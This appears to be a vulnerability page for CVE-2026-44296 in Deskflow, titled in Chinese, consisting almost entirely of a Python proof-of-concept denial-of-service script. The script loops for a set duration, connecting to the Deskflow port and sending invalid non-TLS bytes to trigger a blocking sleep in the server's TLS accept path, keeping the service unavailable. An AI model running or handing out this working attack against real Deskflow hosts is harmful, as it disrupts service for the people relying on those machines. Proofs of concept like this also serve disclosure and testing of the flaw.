CVE-2026-44296 Deskflow远程拒绝服务漏洞

import socket import time def dos_attack(target_ip, target_port, duration): """ PoC for CVE-2026-44296 Sends non-TLS bytes to trigger the blocking sleep in Deskflow. """ end_time = time.time() + duration print(f"[*] Starting DoS attack on {target_ip}:{target_port} for {duration} seconds...") while time.time() < end_time: try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) # Connect to the Deskflow server s.connect((target_ip, target_port)) # Send invalid bytes (not a valid TLS ClientHello) # This triggers the fatal error branch in SecureSocket::secureAccept s.send(b"INVALID_TLS_DATA") # Close the connection immediately s.close() # Sleep slightly to align with the 1-second block or sustain the attack time.sleep(0.1) except Exception as e: print(f"[!] Error: {e}") time.sleep(0.1) print("[*] Attack finished.") if __name__ == "__main__": # Example usage # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 24800 DURATION = 60 dos_attack(TARGET_IP, TARGET_PORT, DURATION)